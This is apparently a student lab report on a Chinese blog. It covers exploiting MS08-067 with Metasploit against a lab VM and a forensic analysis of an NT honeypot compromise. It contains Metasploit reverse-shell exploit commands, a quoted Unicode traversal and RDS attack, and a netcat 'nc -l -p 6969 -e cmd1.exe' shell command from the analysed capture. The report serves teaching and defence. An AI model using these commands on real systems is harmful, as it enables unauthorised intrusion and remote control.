20222934 2022-2023-2 《网络攻防实践》第6次作业

已于 2023-05-06 22:37:59 修改
阅读量123 收藏
点赞数
文章标签： 网络 安全 java
于 2023-04-19 17:14:38 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43976874/article/details/129967329
版权

文章目录

实验要求

（1）动手实践Metasploit windows attacker

任务：使用metasploit软件进行windows远程渗透统计实验
具体任务内容：使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击，获取目标主机的访问权

（2）取证分析实践：解码一次成功的NT系统破解攻击。

来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net)，要求提取并分析攻击的全部过程。

攻击者使用了什么破解工具进行攻击
攻击者如何使用这个破解工具进入并控制了系统
攻击者获得系统访问权限后做了什么
我们如何防止这样的攻击
你觉得攻击者是否警觉了他的目标是一台蜜罐主机？如果是，为什么

（3）团队对抗实践：windows系统远程渗透攻击和分析。

攻方使用metasploit选择漏洞进行攻击，获得控制权。（要求写出攻击方的同学信息、使用漏洞、相关IP地址等）
防守方使用wireshark监听获得的网络数据包，分析攻击过程，获取相关信息。

实验过程

动手实践Metasploit windows attacker

MS08-067远程代码执行漏洞（CVE-2008-4250），它是Windows Server服务RPC请求缓冲区溢出漏洞，利用445端口进行攻击。
是通过MSRPC over SMB通道调用Server程序中的NEtPathCanonicalize函数时触发的。NetPathCanonicalize函数在远程访问其他主机时，会调用NetpwPathCanonicalize函数，对远程访问的路径进行规范化，而在NetpwPathCanonicalize函数中发生了栈缓冲区内存溢出，造成可被利用实施远程代码执行。
MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统，包括：Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本，甚至还包括测试阶段的Windows 7 Pro-Beta。

虚拟机IP
Kali192.168.19.129
Win2kServer192.168.19.131

nmap扫一下WN SERVER里的漏洞

nmap --script=vuln 192.168.19.131 >> vuln.txt
cat vuln.txt | grep "vuln"

挺多的
在这里插入图片描述

其他都是一些smpt、smb的其他漏洞,基本上都是一些打印机、邮件服务器之类的漏洞

启动msf

msfconsole

在这里插入图片描述

使用ms08_067漏洞攻击模块

use exploit/windows/smb/ms08_067_netapi

提示没有设置payload,默认用一个反弹shell的payload
在这里插入图片描述

设置打开反向连接的载荷

set PAYLOAD generic/shell_reverse_tcp

在这里插入图片描述

设置执行bash的RHOST以及反向连接的监听LHOST。

set RHOST 192.168.19.131
set LHOST 192.168.19.129

在这里插入图片描述

设置TARGET为0会自动识别靶机系统，输入exploit进行攻击

set TARGET 0
exploit

打通
在这里插入图片描述
这里因为太久没动,kali的ip被dhcp到了128,改一下LHOST就行

取证分析实践：解码一次成功的NT系统破解攻击

下载log文件，打开发现一堆乱码
在这里插入图片描述
往下翻一下，发现HTTP请求和回复
在这里插入图片描述
应该是pcap包，改下后缀名用wireshark打开

往下翻翻，找到HTTP请求和TCP握手包，能看出来213.116.251.162为攻击者，172.16.1.106为靶机。在这里插入图片描述
然后筛选出这两个IP通信的包
扫一眼，看到有个GIF98a，首先怀疑是传了图片马执行了，点进去看发现只是普通的GIF图片而已。
筛选出HTTP流量，发现不对劲的地方
目录穿越+访问dll+经典Unicode漏洞攻击在这里插入图片描述
原理是utf-8编码对应unicode的实现问题，把
11000000 10101111的utf-8解码成00101111，也就是直接变成字符’/‘的ascii码的二进制表示，构造’…/'，方便绕过WAF等，完成目录穿越。
在这里插入图片描述
这里可以看到，已经能读取boot.ini文件了。
在这里插入图片描述
然后POST传了段数据，看看做了什么
在这里插入图片描述
可以看到是利用sql语句调用cmd进行下一步的命令执行，简称写shell，利用的是IIS中间件和access的驱动，还有一些提权操作。然后往下找，看看攻击者用了什么命令。
在这里插入图片描述
攻击者利用这个dll存在RDS漏洞，输入了个数据查询语句进行SQL注入攻击。根据“ADM!ROX!YOUR!WORLD”特征字符串，以及查询语句中使用了dbq=c:\winnt\help\iis\htm\tutorial\btcustmr.mdb，通过查询可以知道到它是由rain forest puppy 编写的 msadc(2).pl渗透攻击代码发起的。
接下来可以看到起了一个cmd1.exe，利用它开了个ftp访问服务通道，追踪ftp流看看
在这里插入图片描述
看到了ftp的账户密码和传输的文件
在这里插入图片描述
蜜罐主机连接 213.116.251.162 并下载了所指定的这些文件，并通过nc构建其一个远程shell通道。cmd1.exe /c nc -l -p 6969 -e cmd1.exe。简称反弹shell。接着，攻击者连接 6969 端口，获得了访问权，并进入了交互式控制阶段。
往下翻，大概在1368条开始，进入了远程命令式交互阶段
这里是dir命令在这里插入图片描述
看看攻击者都做了什么
对目标主机的文件系统进行了嗅探并删除了一些文件：
在这里插入图片描述
尝试在根目录下创建rdisk，但是没有成功
在这里插入图片描述
防范：

  • 打好补丁
  • 禁用用不着的服务，
  • 封禁网络内部服务器发起的连接
  • 设置虚拟根目录
  • 使用 NTFS 文件系统

在这条TCP流里面有一条显示攻击者已经知道靶机是蜜罐了。
在这里插入图片描述

团队对抗实践：windows系统远程渗透攻击和分析

在这里插入图片描述
MS03_026
漏洞描述

此漏洞由lds-pl.net漏洞研究组在2003年7月16日发现，漏洞及exp在网上公开后，网上出现了大量的实例，利用此漏洞的蠕虫也大量出现。

漏洞原理

微软修改dcerpc框架后形成自己的RPC框架来处理进程间的通信。微软的RPC框架在处理TCP/IP信息交换过程中存在的畸形消息时，未正确处理，导致缓冲区溢出漏洞；此漏洞影响使用RPC框架的DCOM接口，DCOM接口用来处理客户端机器发送给服务器的DCOM对象激活请求，如UNC路径。

msf的一些参数

exploit：攻击。我觉得就是对漏洞的攻击，也就是通过漏洞对靶机进行一些非授权操作。

payload：载荷。也就是一段shellcode攻击代码，在利用漏洞对靶机进行一系列操作的过程中，实质上进行执行shellcode代码。

encode：编码。查看了一下/usr/share/metasploit-framework/modules/encoders文件夹下的内容，我认为encode就是通过改变shellcode的编码格式

实验问题

问题1：msfconsole在设置完成后打exp始终无法成功
解决方案：RHOST和LHOST弄反了，这个是反弹shell，和正向代理不一样

心得体会

黑客拥有的工具可以集成非常多高危漏洞，在实际环境中需要对这些漏洞进行修补。

20222934
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SXU-网络攻防2022-2023学年第一学期期末考试题
12-28
山西大学网络攻防2022-2023学年第一学期期末考试题 山西大学网络攻防2022-2023学年第一学期期末考试题 山西大学网络攻防2022-2023学年第一学期期末考试题 山西大学网络攻防2022-2023学年第一学期期末考试题 山西大学...
SXU-2022-2023第一学期网络攻防期末考试答案(个人版，99.8分).pdf
12-31
山西大学2022-2023第一学期网络攻防期末考试答案 此答案为本人考试时亲自实操完成，99.8分
20232917白胤廷 2021-2022-2 《网络攻防实践》实践八报告
weixin_51457231的博客
05-08 444
此次实验任务量比较重，看到题目这么多问题都几次敲响了退堂鼓……不过最后好歹是慢慢做完了。实验操作也略微复杂，虽然在老师发布的资料文件里发现了应该是实验指导书的PDF文件，但指导书一点都不傻瓜教程，部分步骤没有详细操作，比如“查看整个程序的call flow”，怎么个查看法，我就对着界面那些小按钮一一试了好久，也去网上找了IDA使用教程。
20222934 2022-2023-2 《网络攻防实践》第8次作业
weixin_43976874的博客
05-06 209
这里的意思是判断argc数组长度是否为2，不是的话就输出“I think you are missing something.\n”，是的话就另一条分支，这里的argc指的是命令行的输入视为一个数组，比如命令函输入crackme1.exe，那么argc的内容就是[“crackme1.exe”]，长度为1；如果输入的内容是crackme1.exe test，那么argc的内容就是[“crackme1.exe”，“test”]，长度为2，所以我们需要在crackme1.exe后面再输入点东西，看看需要什么。
20222934 2022-2023-2 《网络攻防实践》第11次作业
weixin_43976874的博客
05-24 2204
网页木马从本质特性上是利用了现代 Web 浏览器软件中所支持的客户端脚本执行能力，针对 Web 浏览端软件安全漏洞实施客户端渗透攻击，从而取得在客户端主机的远程代码执行权限来植入恶意程序。绝大多数的网页木马都利用了 Web 浏览端的客户端脚本执行能力，来更好更高效地实施渗透攻击过程，因此从恶意代码技术类型的分类来讲，网页木马也可以被归入恶意移动代码 (Malicious Mobile Code) 的类别范畴内。
20222934 2022-2023-2 《网络攻防实践》第3次作业
weixin_43976874的博客
03-17 122
那么在这里可以看到,靶机打开了21, 22, 23, 25, 53, 80, 139, 445, 3306, 5432, 8009, 8180这些端口,那么大概率就是一些ftp,ssh,telnet,smtp,rpc,dns,http,https,mysql之类的,尤其是22,23,25,139,3306这些端口,存在爆破和远程命令执行的风险,是一定要关闭或者做映射的。他们的IP地址都是什么？对上面那写服务进行一个简单的过滤,可以看到在扫描端口开放之后还扫了开放的服务,那这里应该是nmap -sV。
20222934 2022-2023-2 《网络攻防实践》第5次作业
weixin_43976874的博客
03-29 221
使用Snort对给定pcap文件（第4章中的解码网络扫描任一个pcap文件，之前的实践已经提供了，请在云班课中下载）进行入侵检测，并对检测出的攻击进行说明。(2)只允许特定IP地址(如局域网中的Linux攻击机192.168.200.3)，访问主机的某一网络服务(如FTP、HTTP、SMB)，而其他的IP地址(如Windows攻击机192. 168.200.4)无法访问。可以看到metasploitable还可以正常访问kali的ftp服务，而windows上访问ftp服务无响应。
20221909 2022-2023-2 《网络攻防实践》实践8作业
zxr287的博客
04-26 272
1、这个二进制文件的摘要为caaa6985a43225a0b3add54f44a0d4c7。PE格式：运行在Windows 2000, XP and 2003及以上版的操作系统中，使用了UPX加壳工具进行了加壳处理2、找出并解释这个二进制文件的目的：下载后门到目标主机，发动拒绝服务攻击，可远程与目标主机通信。3、识别并说明这个二进制文件所具有的不同特性：这个恶意程序会自我复制到目标主机c盘，并自动新建文件夹而不被发现，修改注册表，文件运行时自动与其他主机通信。
20222934 2022-2023-2 《网络攻防实践》第10次作业
weixin_43976874的博客
05-12 157
本次实践动手操作了SQL注入和XSS攻击，基本了解了这两种攻击的原理，操作步骤，可能造成的危害以及一般防范方式，这对于提高网络攻防技能以及更好的开发WEB应用打下了基础。
20221902 2022-2023-2 《网络攻防实践》第九次作业
xiannvyeye的博客
05-06 205
objdump -d：对任意一个二进制文件进行反汇编:%!xxd：把二进制文档转成十六进制显示perl -e：指定字符串以作为脚本（多个字符串迭加）执行：管道，把前者的输出作为后者的输入：重定向，将输出内容指向一个指定文件。
20221909 2022-2023-2 《网络攻防实践》实践11作业
zxr287的博客
05-17 541
Web浏览器渗透攻击是指通过利用浏览器的漏洞或弱点，向用户的计算机或网络环境中注入恶意代码或获取敏感信息的攻击行为。
SXU-网络攻防第六次作业-sql注入进阶
12-27
本篇将详细讲解在“SXU-网络攻防第六次作业”中涉及的四种SQL注入类型：报错注入、时间注入、堆叠注入和宽字节注入，并给出相应的实践步骤。 首先，我们来看报错注入。报错注入是通过触发数据库错误来揭示敏感信息...
SXU-网络攻防第7次作业-文件上传
12-27
山西大学网络攻防第7次作业——文件上传 自己试一下今天上课讲的五种文件上传方式，文件截断绕过攻击可以不做，把步骤截图保存到文档 1. 文件上传 2. JS检测绕过攻击 3. 文件后缀绕过攻击 4. 文件类型绕过攻击 5. 图...
案例2-2022年xx网络安全攻防演习防守方总结报告.pdf
08-26
网络安全攻防演习防守方总结报告
SpringBoot整合SSE，实现后端主动推送DEMO
最新发布
zjy660358的专栏
07-17 346
说起服务端主动推送，大家第一个想到的一定是WEBSOCKET。作为软件工程师，不能无脑使用一种技术，要结合实际情况，择优选取。SSE（Server-Sent Events）相比于WEBSOCKET1、轻量化、兼容性 基于传统的HTTP协议，所以浏览器兼容性比较好2、 只支持单向通讯。（服务器->客户端）
27_MobileNetV3网络详解
https://github.com/foxpup11?tab=repositories
07-17 812
https://www.bilibili.com/video/BV1GK4y1p7uE/?spm_id_from=333.999.0.0&vd_source=7dace3632125a1ef7fd32c285eb2fbac
RTI DDS大数据碎片
qq_33089547的博客
07-17 979
PublicationBuiltingTopicData或SubscriptionBuiltnTopicData样本较大的最常见原因是序列化的TypeCode或TypeObject，但您也可能发送了大量属性（通过7.5.19 PROPERTY QosPolicy（DDS扩展））或具有较大的ContentFilteredTopic筛选器表达式，以及其他大小可变的字段，这可能会导致样本大小较大。如果您尝试发送一个大小大于MTU的DDS样本，但尚未设置DDS级碎片，您将看到IP级碎片。
"山西大学网络攻防第六次作业：SQL注入进阶实战练习
SXU-网络攻防第六次作业-sql注入进阶 山西大学网络攻防第六次作业——sql注入进阶 在本次网络攻防作业中，学生们将进行sql注入的进阶练习，包括报错注入、时间注入、堆叠注入以及宽字节注入。这四种注入技术将在...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值